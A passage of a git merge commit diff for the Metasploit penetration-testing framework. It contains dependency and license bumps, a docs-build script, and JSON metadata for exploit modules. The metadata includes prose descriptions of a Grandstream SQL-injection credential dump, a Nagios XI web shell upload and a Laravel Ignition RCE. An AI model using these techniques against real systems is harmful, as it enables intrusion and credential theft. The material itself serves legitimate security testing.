Merge master and update smb_shadow + dispatcher

The smb_shadow module can confirm the server smb version supported with
the ConfirmServerDialect option. The shadow_mitm_dispatcher closes each
stream before opening a new one to prevent leaking file descriptors.
This commit is contained in:
usiegl00 2022-04-02 10:39:02 +09:00
commit 7e010cbde2
No known key found for this signature in database
GPG Key ID: C117C70AC840DD64
51 changed files with 1708 additions and 878 deletions

View File

@ -45,5 +45,3 @@ group :test do
# Manipulate Time.now in specs
gem 'timecop'
end
gem 'ruby_smb', git: 'https://github.com/usiegl00/ruby_smb.git', branch: 'mitm-dispatcher'

View File

@ -1,19 +1,7 @@
GIT
remote: https://github.com/usiegl00/ruby_smb.git
revision: 5dc4e89022d315f5f3e47b208a8c2ef0abf7c5eb
branch: mitm-dispatcher
specs:
ruby_smb (3.0.2)
bindata
openssl-ccm
openssl-cmac
rubyntlm
windows_error (>= 0.1.3)
PATH
remote: .
specs:
metasploit-framework (6.1.30)
metasploit-framework (6.1.31)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@ -41,7 +29,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.72)
metasploit-payloads (= 2.0.74)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.18)
mqtt
@ -108,25 +96,25 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (6.1.4.4)
actionview (= 6.1.4.4)
activesupport (= 6.1.4.4)
actionpack (6.1.4.6)
actionview (= 6.1.4.6)
activesupport (= 6.1.4.6)
rack (~> 2.0, >= 2.0.9)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (6.1.4.4)
activesupport (= 6.1.4.4)
actionview (6.1.4.6)
activesupport (= 6.1.4.6)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (6.1.4.4)
activesupport (= 6.1.4.4)
activerecord (6.1.4.4)
activemodel (= 6.1.4.4)
activesupport (= 6.1.4.4)
activesupport (6.1.4.4)
activemodel (6.1.4.6)
activesupport (= 6.1.4.6)
activerecord (6.1.4.6)
activemodel (= 6.1.4.6)
activesupport (= 6.1.4.6)
activesupport (6.1.4.6)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
@ -139,13 +127,13 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.553.0)
aws-sdk-core (3.126.0)
aws-partitions (1.554.0)
aws-sdk-core (3.126.2)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.298.0)
aws-sdk-ec2 (1.299.0)
aws-sdk-core (~> 3, >= 3.126.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.66.0)
@ -195,7 +183,7 @@ GEM
railties (>= 5.0.0)
faker (2.19.0)
i18n (>= 1.6, < 2)
faraday (1.9.3)
faraday (1.10.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
@ -237,12 +225,12 @@ GEM
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
i18n (1.9.1)
i18n (1.10.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.3.6)
reline (>= 0.2.5)
jmespath (1.5.0)
jmespath (1.6.0)
jsobfu (0.4.2)
rkelly-remix
json (2.6.1)
@ -250,7 +238,7 @@ GEM
logging (2.3.0)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.13.0)
loofah (2.14.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
@ -273,7 +261,7 @@ GEM
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.72)
metasploit-payloads (2.0.74)
metasploit_data_models (5.0.4)
activerecord (~> 6.0)
activesupport (~> 6.0)
@ -289,7 +277,7 @@ GEM
mini_portile2 (2.7.1)
minitest (5.15.0)
mqtt (0.5.0)
msgpack (1.4.4)
msgpack (1.4.5)
multi_json (1.15.0)
multipart-post (2.1.1)
mustermann (1.1.1)
@ -323,7 +311,7 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.3.1)
pg (1.3.2)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
@ -331,11 +319,11 @@ GEM
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.6)
puma (5.6.1)
puma (5.6.2)
nio4r (~> 2.0)
racc (1.6.0)
rack (2.2.3)
rack-protection (2.1.0)
rack-protection (2.2.0)
rack
rack-test (1.1.0)
rack (>= 1.0, < 3)
@ -344,9 +332,9 @@ GEM
nokogiri (>= 1.6)
rails-html-sanitizer (1.4.2)
loofah (~> 2.3)
railties (6.1.4.4)
actionpack (= 6.1.4.4)
activesupport (= 6.1.4.4)
railties (6.1.4.6)
actionpack (= 6.1.4.6)
activesupport (= 6.1.4.6)
method_source
rake (>= 0.13)
thor (~> 1.0)
@ -356,7 +344,7 @@ GEM
recog (2.3.22)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.2.0)
regexp_parser (2.2.1)
reline (0.2.5)
io-console (~> 0.5)
rex-arch (0.1.14)
@ -367,7 +355,7 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.25)
rex-core (0.1.26)
rex-encoder (0.1.6)
metasm
rex-arch
@ -386,7 +374,7 @@ GEM
rex-arch
rex-ole (0.1.7)
rex-text
rex-powershell (0.1.94)
rex-powershell (0.1.95)
rex-random_identifier
rex-text
ruby-rc4
@ -441,13 +429,19 @@ GEM
rubocop-ast (>= 1.15.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.15.1)
rubocop-ast (1.15.2)
parser (>= 3.0.1.1)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.0.6)
bindata
openssl-ccm
openssl-cmac
rubyntlm
windows_error (>= 0.1.4)
rubyntlm (0.6.3)
rubyzip (2.3.2)
sawyer (0.8.2)
@ -459,10 +453,10 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (2.1.0)
sinatra (2.2.0)
mustermann (~> 1.0)
rack (~> 2.2)
rack-protection (= 2.1.0)
rack-protection (= 2.2.0)
tilt (~> 2.0)
sqlite3 (1.4.2)
sshkey (2.0.0)

View File

@ -1,18 +1,18 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 6.1.4.4, MIT
actionview, 6.1.4.4, MIT
activemodel, 6.1.4.4, MIT
activerecord, 6.1.4.4, MIT
activesupport, 6.1.4.4, MIT
actionpack, 6.1.4.6, MIT
actionview, 6.1.4.6, MIT
activemodel, 6.1.4.6, MIT
activerecord, 6.1.4.6, MIT
activesupport, 6.1.4.6, MIT
addressable, 2.8.0, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.553.0, "Apache 2.0"
aws-sdk-core, 3.126.0, "Apache 2.0"
aws-sdk-ec2, 1.298.0, "Apache 2.0"
aws-partitions, 1.554.0, "Apache 2.0"
aws-sdk-core, 3.126.2, "Apache 2.0"
aws-sdk-ec2, 1.299.0, "Apache 2.0"
aws-sdk-iam, 1.66.0, "Apache 2.0"
aws-sdk-kms, 1.54.0, "Apache 2.0"
aws-sdk-s3, 1.112.0, "Apache 2.0"
@ -41,7 +41,7 @@ eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.0, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.19.0, MIT
faraday, 1.9.3, MIT
faraday, 1.10.0, MIT
faraday-em_http, 1.0.0, MIT
faraday-em_synchrony, 1.0.0, MIT
faraday-excon, 1.1.0, MIT
@ -64,29 +64,29 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.4, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.9.1, MIT
i18n, 1.10.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.3.6, "ruby, Simplified BSD"
jmespath, 1.5.0, "Apache 2.0"
jmespath, 1.6.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.1, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.0, MIT
loofah, 2.13.0, MIT
loofah, 2.14.0, MIT
memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.3, "New BSD"
metasploit-credential, 5.0.5, "New BSD"
metasploit-framework, 6.1.30, "New BSD"
metasploit-framework, 6.1.31, "New BSD"
metasploit-model, 4.0.3, "New BSD"
metasploit-payloads, 2.0.72, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.74, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.4, "New BSD"
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.7.1, MIT
minitest, 5.15.0, MIT
mqtt, 0.5.0, MIT
msgpack, 1.4.4, "Apache 2.0"
msgpack, 1.4.5, "Apache 2.0"
multi_json, 1.15.0, MIT
multipart-post, 2.1.1, MIT
mustermann, 1.1.1, MIT
@ -108,35 +108,35 @@ parser, 3.1.0.0, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.9.1, MIT
pg, 1.3.1, "Simplified BSD"
pg, 1.3.2, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.6, MIT
puma, 5.6.1, "New BSD"
puma, 5.6.2, "New BSD"
racc, 1.6.0, "ruby, Simplified BSD"
rack, 2.2.3, MIT
rack-protection, 2.1.0, MIT
rack-protection, 2.2.0, MIT
rack-test, 1.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.2, MIT
railties, 6.1.4.4, MIT
railties, 6.1.4.6, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.22, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.2.0, MIT
regexp_parser, 2.2.1, MIT
reline, 0.2.5, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.25, "New BSD"
rex-core, 0.1.26, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.28, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.6, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.94, "New BSD"
rex-powershell, 0.1.95, "New BSD"
rex-random_identifier, 0.1.8, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
@ -155,20 +155,20 @@ rspec-rails, 5.1.0, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.0, MIT
rubocop, 1.25.1, MIT
rubocop-ast, 1.15.1, MIT
rubocop-ast, 1.15.2, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.0.2, "New BSD"
ruby_smb, 3.0.4, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 2.1.0, MIT
sinatra, 2.2.0, MIT
sqlite3, 1.4.2, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT

View File

@ -18020,6 +18020,65 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/grandstream_ucm62xx_sql_account_guess": {
"name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump",
"fullname": "auxiliary/gather/grandstream_ucm62xx_sql_account_guess",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-03-30",
"type": "auxiliary",
"author": [
"jbaines-r7"
],
"description": "This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx\n IP PBX to dump the users table. The injection occurs over a websocket at the websockify\n endpoint, and specifically occurs when the user requests the challenge (as part of a\n challenge and response authentication scheme). The injection is blind, but the server\n response contains a different status code if the query was successful. As such, the\n attacker can guess the contents of the user database. Most helpfully, the passwords are\n stored in cleartext within the user table (CVE-2020-5723).\n\n This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.",
"references": [
"CVE-2020-5724",
"CVE-2020-5723",
"URL-https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf",
"URL-https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py"
],
"platform": "",
"arch": "",
"rport": 8089,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-02-15 10:47:30 +0000",
"path": "/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb",
"is_install_path": true,
"ref_name": "gather/grandstream_ucm62xx_sql_account_guess",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/hp_enum_perfd": {
"name": "HP Operations Manager Perfd Environment Scanner",
"fullname": "auxiliary/gather/hp_enum_perfd",
@ -30273,7 +30332,7 @@
"https"
],
"targets": null,
"mod_time": "2022-01-07 12:56:16 +0000",
"mod_time": "2022-02-15 16:39:00 +0000",
"path": "/modules/auxiliary/scanner/http/log4shell_scanner.rb",
"is_install_path": true,
"ref_name": "scanner/http/log4shell_scanner",
@ -30955,7 +31014,8 @@
"CVE-2019-15949",
"CVE-2020-5791",
"CVE-2020-5792",
"CVE-2020-35578"
"CVE-2020-35578",
"CVE-2021-37343"
],
"platform": "",
"arch": "",
@ -30976,7 +31036,7 @@
"https"
],
"targets": null,
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-02-05 18:21:18 +0000",
"path": "/modules/auxiliary/scanner/http/nagios_xi_scanner.rb",
"is_install_path": true,
"ref_name": "scanner/http/nagios_xi_scanner",
@ -54522,7 +54582,7 @@
"targets": [
"Auto"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-02-12 21:39:12 +0000",
"path": "/modules/exploits/android/local/binder_uaf.rb",
"is_install_path": true,
"ref_name": "android/local/binder_uaf",
@ -54572,7 +54632,7 @@
"Old Samsung",
"Samsung Grand"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-02-12 21:39:12 +0000",
"path": "/modules/exploits/android/local/futex_requeue.rb",
"is_install_path": true,
"ref_name": "android/local/futex_requeue",
@ -54676,7 +54736,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-02-12 21:39:12 +0000",
"path": "/modules/exploits/android/local/put_user_vroot.rb",
"is_install_path": true,
"ref_name": "android/local/put_user_vroot",
@ -54920,7 +54980,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-02-12 21:39:12 +0000",
"path": "/modules/exploits/apple_ios/browser/webkit_trident.rb",
"is_install_path": true,
"ref_name": "apple_ios/browser/webkit_trident",
@ -62838,6 +62898,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/nagios_xi_autodiscovery_webshell": {
"name": "Nagios XI Autodiscovery Webshell Upload",
"fullname": "exploit/linux/http/nagios_xi_autodiscovery_webshell",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-07-15",
"type": "exploit",
"author": [
"Claroty Team82",
"jbaines-r7"
],
"description": "This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).\n The path traversal allows a remote and authenticated administrator to upload a PHP web shell\n and execute code as `www-data`. The module achieves this by creating an autodiscovery job\n with an `id` field containing a path traversal to a writable and remotely accessible directory,\n and `custom_ports` field containing the web shell. A cron file will be created using the chosen\n path and file name, and the web shell is embedded in the file.\n\n After the web shell has been written to the victim, this module will then use the web shell to\n establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by\n the module, and the autodiscovery job is removed as well.",
"references": [
"CVE-2021-37343",
"URL-https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2022-02-10 17:39:07 +0000",
"path": "/modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb",
"is_install_path": true,
"ref_name": "linux/http/nagios_xi_autodiscovery_webshell",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/nagios_xi_chained_rce": {
"name": "Nagios XI Chained Remote Code Execution",
"fullname": "exploit/linux/http/nagios_xi_chained_rce",
@ -83194,7 +83316,7 @@
"Windows",
"Linux"
],
"mod_time": "2022-01-13 11:51:39 +0000",
"mod_time": "2022-02-03 16:09:49 +0000",
"path": "/modules/exploits/multi/http/log4shell_header_injection.rb",
"is_install_path": true,
"ref_name": "multi/http/log4shell_header_injection",
@ -89868,7 +89990,7 @@
"Windows",
"Unix"
],
"mod_time": "2022-01-21 09:40:23 +0000",
"mod_time": "2022-02-03 16:09:49 +0000",
"path": "/modules/exploits/multi/http/ubiquiti_unifi_log4shell.rb",
"is_install_path": true,
"ref_name": "multi/http/ubiquiti_unifi_log4shell",
@ -90426,7 +90548,7 @@
"Windows",
"Linux"
],
"mod_time": "2022-01-13 15:05:43 +0000",
"mod_time": "2022-02-03 16:09:49 +0000",
"path": "/modules/exploits/multi/http/vmware_vcenter_log4shell.rb",
"is_install_path": true,
"ref_name": "multi/http/vmware_vcenter_log4shell",
@ -94647,6 +94769,67 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/php/ignition_laravel_debug_rce": {
"name": "Unauthenticated remote code execution in Ignition",
"fullname": "exploit/multi/php/ignition_laravel_debug_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-01-13",
"type": "exploit",
"author": [
"Heyder Andrade <eu@heyderandrade.org>",
"ambionics"
],
"description": "Ignition before 2.5.2, as used in Laravel and other products,\n allows unauthenticated remote attackers to execute arbitrary code\n because of insecure usage of file_get_contents() and file_put_contents().\n This is exploitable on sites using debug mode with Laravel before 8.4.2.",
"references": [
"CVE-2021-3129",
"URL-https://www.ambionics.io/blog/laravel-debug-rce"
],
"platform": "Linux,OSX,Unix,Windows",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix (In-Memory)",
"Windows (In-Memory)"
],
"mod_time": "2022-02-15 08:47:50 +0000",
"path": "/modules/exploits/multi/php/ignition_laravel_debug_rce.rb",
"is_install_path": true,
"ref_name": "multi/php/ignition_laravel_debug_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/php/php_unserialize_zval_cookie": {
"name": "PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)",
"fullname": "exploit/multi/php/php_unserialize_zval_cookie",
@ -153360,7 +153543,7 @@
"URL-https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818"
],
"platform": "Windows",
"arch": "",
"arch": "x86, x64",
"rport": 5555,
"autofilter_ports": [
@ -153371,7 +153554,7 @@
"targets": [
"HP Data Protector 8.10 / Windows"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-02-15 18:03:13 +0000",
"path": "/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb",
"is_install_path": true,
"ref_name": "windows/misc/hp_dataprotector_cmd_exec",
@ -190850,7 +191033,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-01-20 13:11:24 +0000",
"path": "/modules/post/osx/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "osx/gather/hashdump",
@ -190860,7 +191043,8 @@
"notes": {
},
"session_types": [
"shell"
"shell",
"meterpreter"
],
"needs_cleanup": null
},
@ -199657,186 +199841,6 @@
],
"needs_cleanup": null
},
"post_windows/manage/vss_create": {
"name": "Windows Manage Create Shadow Copy",
"fullname": "post/windows/manage/vss_create",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"theLightCosine <theLightCosine@metasploit.com>"
],
"description": "This module will attempt to create a new volume shadow copy.\n This is based on the VSSOwn Script originally posted by\n Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.",
"references": [
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-04 10:53:15 +0000",
"path": "/modules/post/windows/manage/vss_create.rb",
"is_install_path": true,
"ref_name": "windows/manage/vss_create",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/manage/vss_list": {
"name": "Windows Manage List Shadow Copies",
"fullname": "post/windows/manage/vss_list",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"theLightCosine <theLightCosine@metasploit.com>"
],
"description": "This module will attempt to list any Volume Shadow Copies\n on the system. This is based on the VSSOwn Script\n originally posted by Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.",
"references": [
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-04 10:53:15 +0000",
"path": "/modules/post/windows/manage/vss_list.rb",
"is_install_path": true,
"ref_name": "windows/manage/vss_list",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/manage/vss_mount": {
"name": "Windows Manage Mount Shadow Copy",
"fullname": "post/windows/manage/vss_mount",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"theLightCosine <theLightCosine@metasploit.com>"
],
"description": "This module will attempt to mount a Volume Shadow Copy\n on the system. This is based on the VSSOwn Script\n originally posted by Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.",
"references": [
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"path": "/modules/post/windows/manage/vss_mount.rb",
"is_install_path": true,
"ref_name": "windows/manage/vss_mount",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/manage/vss_set_storage": {
"name": "Windows Manage Set Shadow Copy Storage Space",
"fullname": "post/windows/manage/vss_set_storage",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"theLightCosine <theLightCosine@metasploit.com>"
],
"description": "This module will attempt to change the amount of space\n for volume shadow copy storage. This is based on the\n VSSOwn Script originally posted by Tim Tomes and\n Mark Baggett.\n\n Works on win2k3 and later.",
"references": [
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-04 10:53:15 +0000",
"path": "/modules/post/windows/manage/vss_set_storage.rb",
"is_install_path": true,
"ref_name": "windows/manage/vss_set_storage",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/manage/vss_storage": {
"name": "Windows Manage Get Shadow Copy Storage Info",
"fullname": "post/windows/manage/vss_storage",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"theLightCosine <theLightCosine@metasploit.com>"
],
"description": "This module will attempt to get volume shadow copy storage info.\n This is based on the VSSOwn Script originally posted by\n Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.",
"references": [
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-04 10:53:15 +0000",
"path": "/modules/post/windows/manage/vss_storage.rb",
"is_install_path": true,
"ref_name": "windows/manage/vss_storage",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/manage/wdigest_caching": {
"name": "Windows Post Manage WDigest Credential Caching",
"fullname": "post/windows/manage/wdigest_caching",

View File

@ -13,7 +13,7 @@ require 'optparse'
# merged with metasploit-framework, and the old wiki will no longer be updated.
module Build
WIKI_PATH = 'metasploit-framework.wiki'.freeze
PRODUCTION_BUILD_ARTIFACTS = '_site'
PRODUCTION_BUILD_ARTIFACTS = '_site'.freeze
# For now we Git clone the existing metasploit wiki and generate the Jekyll markdown files
# for each build. This allows changes to be made to the existing wiki until it's migrated
@ -28,7 +28,7 @@ module Build
end
end
# Configuration for generating the new website hierachy, from the existing metasploit-framework wiki
# Configuration for generating the new website hierarchy, from the existing metasploit-framework wiki
class Config
include Enumerable
def initialize
@ -747,7 +747,7 @@ module Build
# Ensure new file paths are only alphanumeric and hyphenated
new_paths = to_enum.map { |page| page[:new_path] }
invalid_new_paths = new_paths.select { |path| File.basename(path) !~ /^[a-zA-Z0-9_-]*\.md$/ }
invalid_new_paths = new_paths.reject { |path| File.basename(path) =~ /^[a-zA-Z0-9_-]*\.md$/ }
raise "Only alphanumeric and hyphenated file names required: #{invalid_new_paths}" if invalid_new_paths.any?
end
@ -984,9 +984,27 @@ module Build
end
end
# Parses a wiki page and can add/remove/update a deprecation notice
class WikiDeprecationText
MARKDOWN_PREFIX = '#### Documentation Update:'.freeze
private_constant :MARKDOWN_PREFIX
def self.upsert(original_wiki_content, new_url:)
message = "#{MARKDOWN_PREFIX} This is viewable at [#{new_url}](#{new_url})\n\n"
"#{message}#{WikiDeprecationText.remove(original_wiki_content)}"
end
def self.remove(original_wiki_content)
original_wiki_content.gsub(/#{MARKDOWN_PREFIX}.*$\s+/, '')
end
end
# Converts Wiki markdown pages into a valid Jekyll format
class WikiMigration
def run(config)
# Implements two core components:
# - Converts the existing Wiki markdown pages into a Jekyll format
# - Optionally updates the existing Wiki markdown pages with a link to the new website location
def run(config, options = {})
config.validate!
# Clean up new docs folder in preparation for regenerating it entirely from the latest wiki
@ -999,7 +1017,7 @@ module Build
page_config = {
layout: 'default',
**page.slice(:title, :has_children, :nav_order),
parent: (page[:parents][-1] || {})[:title],
parent: (page[:parents][-1] || {})[:title]
}.compact
page_config[:has_children] = true if page[:has_children]
@ -1014,13 +1032,25 @@ module Build
FileUtils.mkdir_p(File.dirname(new_path))
if page[:folder]
content = preamble.rstrip + "\n"
new_docs_content = preamble.rstrip + "\n"
else
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
content = preamble + content
content = link_corrector.rerender(content)
old_path = File.join(WIKI_PATH, page[:path])
previous_content = File.read(old_path, encoding: Encoding::UTF_8)
new_docs_content = preamble + WikiDeprecationText.remove(previous_content)
new_docs_content = link_corrector.rerender(new_docs_content)
# Update the existing Wiki with links to the new website
if options[:update_existing_wiki]
new_url = options[:update_existing_wiki][:new_website_url]
if page[:new_path] != 'home.md'
new_url += 'docs/' + page[:new_path].gsub('.md', '.html')
end
updated_wiki_content = WikiDeprecationText.upsert(previous_content, new_url: new_url)
File.write(old_path, updated_wiki_content)
end
end
File.write(new_path, content, mode: 'w', encoding: Encoding::UTF_8)
File.write(new_path, new_docs_content, mode: 'w', encoding: Encoding::UTF_8)
end
# Now that the docs folder is created, time to move the home.md file out
@ -1066,7 +1096,7 @@ module Build
def self.run_command(command, exception: true)
puts command
result = ""
result = ''
::Open3.popen2e(
{ 'BUNDLE_GEMFILE' => File.join(Dir.pwd, 'Gemfile') },
'/bin/bash', '--login', '-c', command
@ -1076,16 +1106,15 @@ module Build
while wait_thread.alive?
ready = IO.select([stdout_and_stderr], nil, nil, 1)
if ready
reads, _writes, _errors = ready
next unless ready
reads, _writes, _errors = ready
reads.to_a.each do |io|
data = io.read_nonblock(1024)
puts data
result += data
